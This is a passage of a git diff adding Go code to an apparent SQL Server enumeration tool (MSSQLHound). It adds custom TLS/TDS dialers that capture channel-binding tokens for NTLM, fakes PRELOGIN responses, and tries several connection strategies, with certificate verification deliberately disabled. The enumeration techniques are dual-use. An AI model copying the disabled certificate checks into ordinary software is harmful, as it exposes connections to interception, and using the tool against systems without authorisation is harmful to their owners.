-Type DWord +Set-ItemProperty -Path $path -Name ForceStrictEncryption -Value %d -Type DWord +Set-ItemProperty -Path $path -Name ExtendedProtection -Value %d -Type DWord +Write-Output 'OK' +`, registryPath, settings.ForceEncryption, settings.ForceStrictEncryption, settings.ExtendedProtection) +} + +// BuildRestartServiceScript returns PowerShell that restarts the SQL Server +// service and waits for it to reach Running status. +func BuildRestartServiceScript(serviceName string, waitSeconds int) string { + return fmt.Sprintf(`$ErrorActionPreference = 'Stop' +$svc = '%s' +Restart-Service -Name $svc -Force +$timeout = %d +$elapsed = 0 +while ($elapsed -lt $timeout) { + Start-Sleep -Seconds 2 + $elapsed += 2 + $s = Get-Service -Name $svc + if ($s.Status -eq 'Running') { + Write-Output 'OK' + exit 0 + } +} +throw "Service $svc did not start within $timeout seconds" +`, serviceName, waitSeconds) +} diff --git a/go/internal/epamatrix/table.go b/go/internal/epamatrix/table.go new file mode 100644 index 0000000..6e8d764 --- /dev/null +++ b/go/internal/epamatrix/table.go @@ -0,0 +1,67 @@ +package epamatrix + +import ( + "fmt" + "io" + "strings" + "text/tabwriter" +) + +// PrintResultsTable writes a formatted ASCII table of matrix results. +func PrintResultsTable(w io.Writer, results []MatrixResult) { + tw := tabwriter.NewWriter(w, 0, 0, 3, ' ', 0) + fmt.Fprintf(tw, "#\tForce Encryption\tForce Strict Encryption\tExtended Protection\tDetected EPA\tVerdict\n") + fmt.Fprintf(tw, "-\t----------------\t-----------------------\t-------------------\t------------\t-------\n") + for _, r := range results { + detected := "N/A" + if r.EPAResult != nil { + detected = r.EPAResult.EPAStatus + } + fmt.Fprintf(tw, "%d\t%s\t%s\t%s\t%s\t%s\n", + r.Index, + intToYesNo(r.ForceEncryption), + intToYesNo(r.ForceStrictEncryption), + epIntToLabel(r.ExtendedProtection), + detected, + r.Verdict, + ) + } + tw.Flush() +} + +// Summarize prints a summary line of correct/incorrect/error counts. +func Summarize(w io.Writer, results []MatrixResult) { + correct, incorrect, errors := 0, 0, 0 + for _, r := range results { + switch { + case r.Error != nil: + errors++ + case strings.HasPrefix(r.Verdict, "Correct"): + correct++ + default: + incorrect++ + } + } + fmt.Fprintf(w, "\nSummary: %d correct, %d incorrect, %d errors out of %d tested\n", + correct, incorrect, errors, len(results)) +} + +func intToYesNo(v int) string { + if v == 1 { + return "Yes" + } + return "No" +} + +func epIntToLabel(v int) string { + switch v { + case 0: + return "Off" + case 1: + return "Allowed" + case 2: + return "Required" + default: + return fmt.Sprintf("Unknown(%d)", v) + } +} diff --git a/go/internal/mssql/client.go b/go/internal/mssql/client.go new file mode 100644 index 0000000..9d3e430 --- /dev/null +++ b/go/internal/mssql/client.go @@ -0,0 +1,3126 @@ +// Package mssql provides SQL Server connection and data collection functionality. +package mssql + +import ( + "context" + "crypto/tls" + "database/sql" + "encoding/binary" + "encoding/hex" + "errors" + "fmt" + "net" + "regexp" + "sort" + "strconv" + "strings" + "time" + + "github.com/SpecterOps/MSSQLHound/internal/types" + mssqldb "github.com/microsoft/go-mssqldb" + "github.com/microsoft/go-mssqldb/integratedauth" + "github.com/microsoft/go-mssqldb/msdsn" +) + +// epaTLSDialer wraps a TCP connection in TLS before returning it to go-mssqldb. +// This allows us to capture TLSUnique (tls-unique channel binding) from the +// completed TLS handshake, which isn't available from go-mssqldb's VerifyConnection +// callback (called before Finished messages are exchanged). +// +// go-mssqldb uses encrypt=disable so it doesn't do additional TLS on top. +// All data transparently flows through our outer TLS layer, which is correct +// for TDS 8.0 strict encryption (TLS wraps the entire TDS session). +type epaTLSDialer struct { + underlying interface { + DialContext(ctx context.Context, network, address string) (net.Conn, error) + } + epaProvider *epaAuthProvider + hostname string + dnsResolver string + logf func(string, ...interface{}) +} + +func (d *epaTLSDialer) HostName() string { return d.hostname } + +func (d *epaTLSDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) { + // Establish TCP connection + var conn net.Conn + var err error + if d.underlying != nil { + conn, err = d.underlying.DialContext(ctx, network, addr) + } else { + conn, err = dialerWithResolver(d.dnsResolver, 10*time.Second).DialContext(ctx, network, addr) + } + if err != nil { + return nil, err + } + + // Perform TLS handshake with TDS 8.0 ALPN and TLS 1.2 cap + tlsConfig := &tls.Config{ + ServerName: d.hostname, + InsecureSkipVerify: true, //nolint:gosec // security tool needs to connect to any server + DynamicRecordSizingDisabled: true, + MaxVersion: tls.VersionTLS12, + NextProtos: []string{"tds/8.0"}, + } + + tlsConn := tls.Client(conn, tlsConfig) + if err := tlsConn.HandshakeContext(ctx); err != nil { + conn.Close() + return nil, fmt.Errorf("EPA TLS handshake: %w", err) + } + + // Capture TLSUnique after handshake is fully complete + state := tlsConn.ConnectionState() + if len(state.TLSUnique) > 0 { + cbt := computeCBTHash("tls-unique:", state.TLSUnique) + d.epaProvider.SetCBT(cbt) + if d.logf != nil { + d.logf(" [EPA-TLS] Dialer: TLS 0x%04X, TLSUnique=%x, CBT=%x", state.Version, state.TLSUnique, cbt) + } + } else if d.logf != nil { + d.logf(" [EPA-TLS] WARNING: TLSUnique empty after handshake (TLS 0x%04X)", state.Version) + } + + return tlsConn, nil +} + +// epaTDSDialer performs the full TDS PRELOGIN + TLS-in-TDS handshake before +// returning the connection to go-mssqldb. This allows us to capture TLSUnique +// after the TLS handshake fully completes (including Finished messages), which +// is not available from go-mssqldb's VerifyConnection callback. +// +// go-mssqldb is configured with encrypt=disable so it won't attempt its own TLS. +// A preloginFakerConn wrapper intercepts go-mssqldb's PRELOGIN exchange (since +// we already performed it) and returns a fake response indicating no encryption, +// then transparently passes all subsequent traffic through the TLS connection. +type epaTDSDialer struct { + underlying interface { + DialContext(ctx context.Context, network, address string) (net.Conn, error) + } + epaProvider *epaAuthProvider + hostname string + dnsResolver string + logf func(string, ...interface{}) +} + +func (d *epaTDSDialer) HostName() string { return d.hostname } + +func (d *epaTDSDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) { + // TCP connect + var conn net.Conn + var err error + if d.underlying != nil { + conn, err = d.underlying.DialContext(ctx, network, addr) + } else { + conn, err = dialerWithResolver(d.dnsResolver, 10*time.Second).DialContext(ctx, network, addr) + } + if err != nil { + return nil, err + } + conn.SetDeadline(time.Now().Add(30 * time.Second)) + + tds := newTDSConn(conn) + + // PRELOGIN exchange + preloginPayload := buildPreloginPacket() + if err := tds.sendPacket(tdsPacketPrelogin, preloginPayload); err != nil { + conn.Close() + return nil, fmt.Errorf("EPA TDS dialer: send PRELOGIN: %w", err) + } + + _, preloginResp, err := tds.readFullPacket() + if err != nil { + conn.Close() + return nil, fmt.Errorf("EPA TDS dialer: read PRELOGIN response: %w", err) + } + + encryptionFlag, err := parsePreloginEncryption(preloginResp) + if err != nil { + conn.Close() + return nil, fmt.Errorf("EPA TDS dialer: parse encryption: %w", err) + } + + if encryptionFlag == encryptNotSup { + conn.Close() + return nil, fmt.Errorf("EPA TDS dialer: server does not support encryption, cannot do EPA") + } + + // TLS-in-TDS handshake (TLS records wrapped inside TDS PRELOGIN packets) + tlsConn, _, err := performTLSHandshake(tds, d.hostname) + if err != nil { + conn.Close() + return nil, fmt.Errorf("EPA TDS dialer: TLS handshake: %w", err) + } + + // Clear deadline for go-mssqldb operations + conn.SetDeadline(time.Time{}) + + // Capture TLSUnique after handshake is fully complete (including Finished) + state := tlsConn.ConnectionState() + if len(state.TLSUnique) > 0 { + cbt := computeCBTHash("tls-unique:", state.TLSUnique) + d.epaProvider.SetCBT(cbt) + if d.logf != nil { + d.logf(" [EPA-TDS] Dialer: TLS 0x%04X, TLSUnique=%x, CBT=%x", state.Version, state.TLSUnique, cbt) + } + } else if d.logf != nil { + d.logf(" [EPA-TDS] WARNING: TLSUnique empty after TDS TLS handshake (TLS 0x%04X)", state.Version) + } + + // Return wrapper that intercepts go-mssqldb's PRELOGIN and fakes the response. + // For ENCRYPT_OFF, the server drops TLS after LOGIN7 — preloginFakerConn + // detects this and switches to raw TCP for subsequent I/O. + return &preloginFakerConn{ + Conn: tlsConn, + rawConn: conn, + fakeResp: buildFakePreloginResponse(), + logf: d.logf, + encryptOff: encryptionFlag == encryptOff, + }, nil +} + +// preloginFakerConn wraps a TLS connection and intercepts go-mssqldb's PRELOGIN +// exchange. Since we already performed the real PRELOGIN + TLS handshake in the +// dialer, we discard go-mssqldb's PRELOGIN write and return a fake response +// with encryption=NOT_SUP so go-mssqldb skips its own TLS negotiation. +// +// For ENCRYPT_OFF (Force Encryption=No), the server drops TLS immediately after +// LOGIN7, so this wrapper detects LOGIN7 writes and switches subsequent I/O to +// raw TCP — matching the EPA tester's behavior in runEPATest. +type preloginFakerConn struct { + net.Conn // TLS connection (used during LOGIN7 phase) + rawConn net.Conn // raw TCP connection (used after LOGIN7 for ENCRYPT_OFF) + state int // 0: intercept prelogin, 1: TLS pass-through, 2: raw TCP pass-through + fakeResp []byte // fake PRELOGIN response TDS packet + fakeOffset int // bytes consumed from fakeResp + logf func(string, ...interface{}) + encryptOff bool // true when server uses ENCRYPT_OFF (drops TLS after LOGIN7) +} + +func (c *preloginFakerConn) Write(b []byte) (int, error) { + if c.state == 0 { + if len(b) >= tdsHeaderSize && b[0] == tdsPacketPrelogin { + // Intercept PRELOGIN - don't forward to server + if c.logf != nil { + c.logf(" [EPA-TDS] Intercepted go-mssqldb PRELOGIN (%d bytes)", len(b)) + } + return len(b), nil + } + // Not a PRELOGIN packet - switch to TLS pass-through + c.state = 1 + } + if c.state == 2 { + // Post-LOGIN7 for ENCRYPT_OFF: write directly on raw TCP + return c.rawConn.Write(b) + } + // State 1: write through TLS (encrypts LOGIN7) + n, err := c.Conn.Write(b) + if err != nil { + return n, err + } + // For ENCRYPT_OFF: after LOGIN7 with EOM is sent, the server drops TLS. + // Switch to raw TCP for all subsequent I/O (SSPI challenge/response, queries). + // This matches epa_tester.go line 217-221: "sw.c = conn" after LOGIN7. + if c.encryptOff && len(b) >= tdsHeaderSize && b[0] == tdsPacketLogin7 && (b[1]&0x01 != 0) { + c.state = 2 + if c.logf != nil { + c.logf(" [EPA-TDS] LOGIN7 sent via TLS, switching to raw TCP (ENCRYPT_OFF)") + } + } + return n, err +} + +func (c *preloginFakerConn) Read(b []byte) (int, error) { + if c.state == 0 && c.fakeOffset < len(c.fakeResp) { + // Return fake PRELOGIN response + n := copy(b, c.fakeResp[c.fakeOffset:]) + c.fakeOffset += n + if c.fakeOffset >= len(c.fakeResp) { + c.state = 1 // Done faking, switch to TLS pass-through + if c.logf != nil { + c.logf(" [EPA-TDS] Delivered fake PRELOGIN response, switching to pass-through") + } + } + return n, nil + } + if c.state == 2 { + // Post-LOGIN7 for ENCRYPT_OFF: read directly from raw TCP + return c.rawConn.Read(b) + } + return c.Conn.Read(b) +} + +// buildFakePreloginResponse constructs a minimal TDS PRELOGIN response packet +// with encryption=NOT_SUP (0x02). This tells go-mssqldb that the server does +// not support encryption, so it skips TLS negotiation (we already did TLS). +func buildFakePreloginResponse() []byte { + // PRELOGIN option tokens: token(1) + offset(2) + length(2) + // Option 0x00 (Version): offset=11, length=6 + // Option 0x01 (Encryption): offset=17, length=1 + // Terminator: 0xFF + // Data: Version(6 bytes) + Encryption(1 byte) + payload := []byte{ + 0x00, 0x00, 0x0B, 0x00, 0x06, // Version: offset=11, len=6 + 0x01, 0x00, 0x11, 0x00, 0x01, // Encryption: offset=17, len=1 + 0xFF, // Terminator + 0x0F, 0x00, 0x07, 0xD0, 0x00, 0x00, // Version data (SQL Server 2019) + 0x02, // Encryption: NOT_SUP + } + + // Wrap in TDS packet (type 0x04 = Tabular Result, which is the server response type) + pktLen := tdsHeaderSize + len(payload) + pkt := make([]byte, pktLen) + pkt[0] = tdsPacketTabularResult + pkt[1] = 0x01 // EOM + binary.BigEndian.PutUint16(pkt[2:4], uint16(pktLen)) + copy(pkt[tdsHeaderSize:], payload) + + return pkt +} + +// convertHexSIDToString converts a hex SID (like "0x0105000000...") to standard SID format (like "S-1-5-21-...") +// This matches the PowerShell ConvertTo-SecurityIdentifier function behavior +func convertHexSIDToString(hexSID string) string { + if hexSID == "" || hexSID == "0x" || hexSID == "0x01" { + return "" + } + + // Remove "0x" prefix if present + if strings.HasPrefix(strings.ToLower(hexSID), "0x") { + hexSID = hexSID[2:] + } + + // Decode hex string to bytes + bytes, err := hex.DecodeString(hexSID) + if err != nil || len(bytes) < 8 { + return "" + } + + // Validate SID structure (first byte must be 1 for revision) + if bytes[0] != 1 { + return "" + } + + // Parse SID structure: + // bytes[0] = revision (always 1) + // bytes[1] = number of sub-authorities + // bytes[2:8] = identifier authority (6 bytes, big-endian) + // bytes[8:] = sub-authorities (4 bytes each, little-endian) + + revision := bytes[0] + subAuthCount := int(bytes[1]) + + // Validate length + expectedLen := 8 + (subAuthCount * 4) + if len(bytes) < expectedLen { + return "" + } + + // Get identifier authority (6 bytes, big-endian) + // Usually 5 for NT Authority (S-1-5-...) + var authority uint64 + for i := 0; i < 6; i++ { + authority = (authority << 8) | uint64(bytes[2+i]) + } + + // Build SID string + var sb strings.Builder + sb.WriteString(fmt.Sprintf("S-%d-%d", revision, authority)) + + // Parse sub-authorities (4 bytes each, little-endian) + for i := 0; i < subAuthCount; i++ { + offset := 8 + (i * 4) + subAuth := binary.LittleEndian.Uint32(bytes[offset : offset+4]) + sb.WriteString(fmt.Sprintf("-%d", subAuth)) + } + + return sb.String() +} + +// Client handles SQL Server connections and data collection +type Client struct { + db *sql.DB + serverInstance string + hostname string + port int + instanceName string + userID string + password string + domain string // Domain for NTLM authentication (needed for EPA testing) + ldapUser string // LDAP user (DOMAIN\user or user@domain) for EPA testing + ldapPassword string // LDAP password for EPA testing + useWindowsAuth bool + verbose bool + debug bool + encrypt bool // Whether to use encryption + usePowerShell bool // Whether using PowerShell fallback + psClient *PowerShellClient // PowerShell client for fallback + collectFromLinkedServers bool // Whether to collect from linked servers + epaResult *EPATestResult // Pre-computed EPA result (set before Connect) + dnsResolver string // Custom DNS resolver IP (e.g. domain controller) + proxyDialer interface { + DialContext(ctx context.Context, network, address string) (net.Conn, error) + } +} + +// NewClient creates a new SQL Server client +func NewClient(serverInstance, userID, password string) *Client { + hostname, port, instanceName := parseServerInstance(serverInstance) + + return &Client{ + serverInstance: serverInstance, + hostname: hostname, + port: port, + instanceName: instanceName, + userID: userID, + password: password, + useWindowsAuth: userID == "" && password == "", + } +} + +// parseServerInstance parses server instance formats: +// - hostname +// - hostname:port +// - hostname\instance +// - hostname\instance:port +func parseServerInstance(instance string) (hostname string, port int, instanceName string) { + port = 1433 // default + + // Remove any SPN prefix (MSSQLSvc/) + if strings.HasPrefix(strings.ToUpper(instance), "MSSQLSVC/") { + instance = instance[9:] + } + + // Check for instance name (backslash) + if idx := strings.Index(instance, "\\"); idx != -1 { + hostname = instance[:idx] + rest := instance[idx+1:] + + // Check if instance name has port + if colonIdx := strings.Index(rest, ":"); colonIdx != -1 { + instanceName = rest[:colonIdx] + if p, err := strconv.Atoi(rest[colonIdx+1:]); err == nil { + port = p + } + } else { + instanceName = rest + port = 0 // Will use SQL Browser + } + } else if idx := strings.Index(instance, ":"); idx != -1 { + // hostname:port format + hostname = instance[:idx] + if p, err := strconv.Atoi(instance[idx+1:]); err == nil { + port = p + } + } else { + hostname = instance + } + + return +} + +// Connect establishes a connection to the SQL Server +// It tries multiple connection strategies to maximize compatibility. +// If go-mssqldb fails with the "untrusted domain" error, it will automatically +// fall back to using PowerShell with System.Data.SqlClient which handles +// some SSPI edge cases that go-mssqldb cannot. +func (c *Client) Connect(ctx context.Context) error { + // First try native go-mssqldb connection + err := c.connectNative(ctx) + if err == nil { + return nil + } + + // Check if this is the "untrusted domain" error that PowerShell can handle. + // PowerShell fallback is not available when using a proxy since the spawned + // process cannot route its connections through the Go-level SOCKS proxy. + if IsUntrustedDomainError(err) && c.useWindowsAuth && c.proxyDialer == nil { + c.logVerbose("Native connection failed with untrusted domain error, trying PowerShell fallback...") + // Try PowerShell fallback + psErr := c.connectPowerShell(ctx) + if psErr == nil { + c.logVerbose("PowerShell fallback succeeded") + return nil + } + // Both methods failed - return combined error for clarity + c.logVerbose("PowerShell fallback also failed: %v", psErr) + return fmt.Errorf("all connection methods failed (native: %v, PowerShell: %v)", err, psErr) + } + + return err +} + +// CheckPort performs a quick TCP connectivity check against the SQL Server port. +// Call this before EPA testing or authentication to skip unreachable servers fast. +func (c *Client) CheckPort(ctx context.Context) error { + port := c.port + if port == 0 && c.instanceName != "" { + resolvedPort, err := c.resolveInstancePort(ctx) + if err != nil { + return fmt.Errorf("port check: failed to resolve instance port: %w", err) + } + port = resolvedPort + c.port = resolvedPort // cache for later EPA/Connect calls + } + if port == 0 { + port = 1433 + } + + addr := fmt.Sprintf("%s:%d", c.hostname, port) + + dialCtx, dialCancel := context.WithTimeout(ctx, 2*time.Second) + defer dialCancel() + + var conn net.Conn + var err error + if c.proxyDialer != nil { + dialAddr, resolveErr := resolveForProxy(dialCtx, c.hostname, port) + if resolveErr != nil { + dialAddr = addr + } + conn, err = c.proxyDialer.DialContext(dialCtx, "tcp", dialAddr) + } else { + dialer := dialerWithResolver(c.dnsResolver, 2*time.Second) + conn, err = dialer.DialContext(dialCtx, "tcp", addr) + } + if err != nil { + return fmt.Errorf("port %d not reachable on %s: %w", port, c.hostname, err) + } + conn.Close() + return nil +} + +// connectNative tries to connect using go-mssqldb +func (c *Client) connectNative(ctx context.Context) error { + // Connection strategies to try in order + // NOTE: Some servers with specific SSPI configurations may fail to connect from Go + // even though PowerShell/System.Data.SqlClient works. This is a known limitation + // of the go-mssqldb driver's Windows SSPI implementation. + + // Get short hostname for some strategies (only for FQDNs, not IP addresses) + shortHostname := "" + // Determine the cert hostname for strict encryption (HostNameInCertificate). + // If -s is a FQDN, use it directly. If it's an IP, try reverse DNS. + certHost := c.hostname + if net.ParseIP(c.hostname) == nil { + if idx := strings.Index(c.hostname, "."); idx != -1 { + shortHostname = c.hostname[:idx] + } + } else { + // IP address: try reverse DNS to get FQDN for certificate matching + if names, err := net.LookupAddr(c.hostname); err == nil && len(names) > 0 { + certHost = strings.TrimSuffix(names[0], ".") + c.logVerbose("Resolved IP %s to FQDN %s for HostNameInCertificate", c.hostname, certHost) + } + } + + type connStrategy struct { + name string + serverName string // The server name to use in connection string + encrypt string // "false", "true", or "strict" + useServerSPN bool + spnHost string // Host to use in SPN + certHostname string // HostNameInCertificate for strict encryption + } + + var strategies []connStrategy + if c.epaResult != nil && c.epaResult.StrictEncryption { + // If EPA tester detected strict encryption, try strict first + strategies = []connStrategy{ + {"FQDN+strict", c.hostname, "strict", false, "", certHost}, + {"FQDN+encrypt", c.hostname, "true", false, "", ""}, + {"FQDN+encrypt+SPN", c.hostname, "true", true, c.hostname, ""}, + {"FQDN+no-encrypt", c.hostname, "false", false, "", ""}, + } + } else { + // Default order: try encryption first (most common) + strategies = []connStrategy{ + {"FQDN+encrypt", c.hostname, "true", false, "", ""}, + {"FQDN+strict", c.hostname, "strict", false, "", certHost}, + {"FQDN+encrypt+SPN", c.hostname, "true", true, c.hostname, ""}, + {"FQDN+no-encrypt", c.hostname, "false", false, "", ""}, + } + } + + // Only add short hostname strategies for FQDNs (not IP addresses) + if shortHostname != "" { + strategies = append(strategies, + connStrategy{"short+encrypt", shortHostname, "true", false, "", ""}, + connStrategy{"short+strict", shortHostname, "strict", false, "", certHost}, + connStrategy{"short+no-encrypt", shortHostname, "false", false, "", ""}, + ) + } + + // When EPA is Required, register a custom NTLM auth provider that includes + // channel binding tokens. go-mssqldb's built-in NTLM on Linux does NOT + // support EPA, so without this, all strategies fail with "untrusted domain". + var epaProvider *epaAuthProvider + if c.epaResult != nil && (c.epaResult.EPAStatus == "Required" || c.epaResult.EPAStatus == "Allowed") { + epaProvider = &epaAuthProvider{verbose: c.verbose, debug: c.debug} + port := c.port + if port == 0 { + port = 1433 + } + epaProvider.SetSPN(computeSPN(c.hostname, port)) + integratedauth.SetIntegratedAuthenticationProvider(epaAuthProviderName, epaProvider) + c.logVerbose("Using EPA-aware NTLM authentication (EPA status: %s)", c.epaResult.EPAStatus) + } + + // Special strategy for strict encryption + EPA: do TLS ourselves in the dialer + // so we can capture TLSUnique after the handshake completes (go-mssqldb's + // VerifyConnection fires before Finished messages, giving all-zero TLSUnique). + // go-mssqldb uses encrypt=disable so it doesn't add another TLS layer. + if epaProvider != nil && c.epaResult != nil && c.epaResult.StrictEncryption { + port := c.port + if port == 0 { + port = 1433 + } + dialer := &epaTLSDialer{ + underlying: c.proxyDialer, + epaProvider: epaProvider, + hostname: c.hostname, + dnsResolver: c.dnsResolver, + logf: c.logDebug, + } + connStr := fmt.Sprintf("server=%s;port=%d;user id=%s;password=%s;encrypt=disable;TrustServerCertificate=true;app name=MSSQLHound", + c.hostname, port, c.userID, c.password) + c.logVerbose("Trying connection strategy 'EPA+strict-TLS': %s", redactConnStr(connStr)) + + config, parseErr := msdsn.Parse(connStr) + if parseErr == nil { + if config.Parameters == nil { + config.Parameters = make(map[string]string) + } + config.Parameters["authenticator"] = epaAuthProviderName + + connector := mssqldb.NewConnectorConfig(config) + connector.Dialer = dialer + db := sql.OpenDB(connector) + + pingCtx, cancel := context.WithTimeout(ctx, 10*time.Second) + err := db.PingContext(pingCtx) + cancel() + + if err == nil { + c.logVerbose(" Strategy 'EPA+strict-TLS' succeeded!") + c.db = db + return nil + } + db.Close() + c.logVerbose(" Strategy 'EPA+strict-TLS' failed: %v", err) + if IsAuthError(err) { + c.logVerbose(" Authentication error detected, stopping to prevent account lockout") + return fmt.Errorf("EPA+strict-TLS authentication failed: %w", err) + } + } + } + + // Strategy for non-strict encryption + EPA: perform the PRELOGIN + TLS-in-TDS + // handshake ourselves in the dialer so we can capture TLSUnique after the + // handshake fully completes. go-mssqldb's VerifyConnection callback fires + // before the TLS Finished messages are exchanged, giving all-zero TLSUnique. + // The dialer wraps the TLS connection with preloginFakerConn to intercept + // go-mssqldb's PRELOGIN exchange (already completed) and fake a response. + if epaProvider != nil && c.epaResult != nil && !c.epaResult.StrictEncryption { + port := c.port + if port == 0 { + port = 1433 + } + dialer := &epaTDSDialer{ + underlying: c.proxyDialer, + epaProvider: epaProvider, + hostname: c.hostname, + dnsResolver: c.dnsResolver, + logf: c.logDebug, + } + connStr := fmt.Sprintf("server=%s;port=%d;user id=%s;password=%s;encrypt=disable;TrustServerCertificate=true;app name=MSSQLHound", + c.hostname, port, c.userID, c.password) + c.logVerbose("Trying connection strategy 'EPA+TDS-TLS': %s", redactConnStr(connStr)) + + config, parseErr := msdsn.Parse(connStr) + if parseErr == nil { + if config.Parameters == nil { + config.Parameters = make(map[string]string) + } + config.Parameters["authenticator"] = epaAuthProviderName + + connector := mssqldb.NewConnectorConfig(config) + connector.Dialer = dialer + db := sql.OpenDB(connector) + + pingCtx, cancel := context.WithTimeout(ctx, 10*time.Second) + err := db.PingContext(pingCtx) + cancel() + + if err == nil { + c.logVerbose(" Strategy 'EPA+TDS-TLS' succeeded!") + c.db = db + return nil + } + db.Close() + c.logVerbose(" Strategy 'EPA+TDS-TLS' failed: %v", err) + if IsAuthError(err) { + c.logVerbose(" Authentication error detected, stopping to prevent account lockout") + return fmt.Errorf("EPA+TDS-TLS authentication failed: %w", err) + } + } + } + + var lastErr error + for _, strategy := range strategies { + connStr := c.buildConnectionStringForStrategy(strategy.serverName, strategy.encrypt, strategy.useServerSPN, strategy.spnHost, strategy.certHostname) + c.logVerbose("Trying connection strategy '%s': %s", strategy.name, redactConnStr(connStr)) + + // Parse connection string into config and use NewConnectorConfig for all + // strategies so we can inject a custom proxy dialer when configured. + config, parseErr := msdsn.Parse(connStr) + if parseErr != nil { + lastErr = parseErr + c.logVerbose(" Strategy '%s' failed to parse: %v", strategy.name, parseErr) + continue + } + + if strategy.encrypt == "strict" { + // For strict encryption (TDS 8.0), go-mssqldb forces certificate + // validation regardless of TrustServerCertificate. Override TLS + // settings so we can connect to servers with self-signed certs. + if config.TLSConfig != nil { + config.TLSConfig.InsecureSkipVerify = true //nolint:gosec // security tool needs to connect to any server + } + } + + // When EPA auth is needed, inject our custom authenticator and add a + // VerifyConnection callback to capture the TLS-unique channel binding + // value after go-mssqldb's TLS handshake completes. + if epaProvider != nil { + if config.Parameters == nil { + config.Parameters = make(map[string]string) + } + config.Parameters["authenticator"] = epaAuthProviderName + + // Ensure TLSConfig exists so we can add the connection callback. + // For encrypt=false strategies, msdsn.Parse returns nil TLSConfig, + // but the server may still force TLS. + if config.TLSConfig == nil { + config.TLSConfig = &tls.Config{ + ServerName: config.Host, + InsecureSkipVerify: true, //nolint:gosec // security tool needs to connect to any server + DynamicRecordSizingDisabled: true, + } + } + // Cap at TLS 1.2 so that TLSUnique (tls-unique channel binding) is + // available for EPA. TLS 1.3 removed tls-unique (RFC 8446). + config.TLSConfig.MaxVersion = tls.VersionTLS12 + + config.TLSConfig.VerifyConnection = func(cs tls.ConnectionState) error { + c.logDebug(" [EPA-TLS] VerifyConnection fired: TLS 0x%04X, TLSUnique=%x (%d bytes), certs=%d", + cs.Version, cs.TLSUnique, len(cs.TLSUnique), len(cs.PeerCertificates)) + if len(cs.TLSUnique) > 0 { + cbt := computeCBTHash("tls-unique:", cs.TLSUnique) + epaProvider.SetCBT(cbt) + c.logDebug(" [EPA-TLS] Set CBT (tls-unique): %x", cbt) + } else { + c.logDebug(" [EPA-TLS] WARNING: TLSUnique empty, no CBT set!") + } + return nil + } + } + + connector := mssqldb.NewConnectorConfig(config) + if c.proxyDialer != nil { + connector.Dialer = c.proxyDialer + } else if c.dnsResolver != "" { + connector.Dialer = dialerWithResolver(c.dnsResolver, 10*time.Second) + } + db := sql.OpenDB(connector) + + // Test the connection with a short timeout + pingCtx, cancel := context.WithTimeout(ctx, 10*time.Second) + err := db.PingContext(pingCtx) + cancel() + + if err != nil { + db.Close() + lastErr = err + c.logVerbose(" Strategy '%s' failed to connect: %v", strategy.name, err) + if IsAuthError(err) { + c.logVerbose(" Authentication error detected, stopping strategy loop to prevent account lockout") + break + } + continue + } + + c.logVerbose(" Strategy '%s' succeeded!", strategy.name) + c.db = db + return nil + } + + return fmt.Errorf("all connection strategies failed, last error: %w", lastErr) +} + +// connectPowerShell connects using PowerShell and System.Data.SqlClient +func (c *Client) connectPowerShell(ctx context.Context) error { + c.psClient = NewPowerShellClient(c.serverInstance, c.userID, c.password) + c.psClient.SetVerbose(c.verbose) + + err := c.psClient.TestConnection(ctx) + if err != nil { + c.psClient = nil + return err + } + + c.usePowerShell = true + return nil +} + +// UsingPowerShell returns true if the client is using the PowerShell fallback +func (c *Client) UsingPowerShell() bool { + return c.usePowerShell +} + +// executeQuery is a unified query interface that works with both native and PowerShell modes +// It returns the results as []QueryResult, which can be processed uniformly +func (c *Client) executeQuery(ctx context.Context, query string) ([]QueryResult, error) { + if c.usePowerShell { + response, err := c.psClient.ExecuteQuery(ctx, query) + if err != nil { + return nil, err + } + return response.Rows, nil + } + + // Native mode - use c.db + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return nil, err + } + defer rows.Close() + + columns, err := rows.Columns() + if err != nil { + return nil, err + } + + var results []QueryResult + for rows.Next() { + // Create slice of interface{} to hold row values + values := make([]interface{}, len(columns)) + valuePtrs := make([]interface{}, len(columns)) + for i := range values { + valuePtrs[i] = &values[i] + } + + if err := rows.Scan(valuePtrs...); err != nil { + return nil, err + } + + // Convert to QueryResult + row := make(QueryResult) + for i, col := range columns { + val := values[i] + // Convert []byte to string for easier handling + if b, ok := val.([]byte); ok { + row[col] = string(b) + } else { + row[col] = val + } + } + results = append(results, row) + } + + return results, rows.Err() +} + +// DB returns the underlying database connection (nil in PowerShell mode) +// This is used for methods that need direct database access +func (c *Client) DB() *sql.DB { + return c.db +} + +// DBW returns a database wrapper that works with both native and PowerShell modes +// Use this for query methods to ensure compatibility with PowerShell fallback +func (c *Client) DBW() *DBWrapper { + return NewDBWrapper(c.db, c.psClient, c.usePowerShell) +} + +// connStrPasswordRe matches the password field in a semicolon-delimited connection string. +var connStrPasswordRe = regexp.MustCompile(`(?i)(password=)[^;]*`) + +// redactConnStr replaces the password field value in a connection string with "****". +func redactConnStr(connStr string) string { + return connStrPasswordRe.ReplaceAllString(connStr, "${1}****") +} + +// buildConnectionStringForStrategy creates the connection string for a specific strategy +func (c *Client) buildConnectionStringForStrategy(serverName, encrypt string, useServerSPN bool, spnHost string, certHostname string) string { + var parts []string + + parts = append(parts, fmt.Sprintf("server=%s", serverName)) + + if c.port > 0 { + parts = append(parts, fmt.Sprintf("port=%d", c.port)) + } + + if c.instanceName != "" { + parts = append(parts, fmt.Sprintf("instance=%s", c.instanceName)) + } + + if c.useWindowsAuth { + // Use Windows integrated auth + parts = append(parts, "trusted_connection=yes") + + // Optionally set ServerSPN using the provided spnHost (could be FQDN or short name) + if useServerSPN && spnHost != "" { + if c.instanceName != "" && c.instanceName != "MSSQLSERVER" { + parts = append(parts, fmt.Sprintf("ServerSPN=MSSQLSvc/%s:%s", spnHost, c.instanceName)) + } else if c.port > 0 { + parts = append(parts, fmt.Sprintf("ServerSPN=MSSQLSvc/%s:%d", spnHost, c.port)) + } + } + } else { + parts = append(parts, fmt.Sprintf("user id=%s", c.userID)) + parts = append(parts, fmt.Sprintf("password=%s", c.password)) + } + + // Handle encryption setting - supports "false", "true", "strict", "disable" + parts = append(parts, fmt.Sprintf("encrypt=%s", encrypt)) + parts = append(parts, "TrustServerCertificate=true") + if certHostname != "" { + parts = append(parts, fmt.Sprintf("HostNameInCertificate=%s", certHostname)) + } + parts = append(parts, "app name=MSSQLHound") + + return strings.Join(parts, ";") +} + +// buildConnectionString creates the connection string for go-mssqldb (uses default options) +func (c *Client) buildConnectionString() string { + encrypt := "true" + if !c.encrypt { + encrypt = "false" + } + return 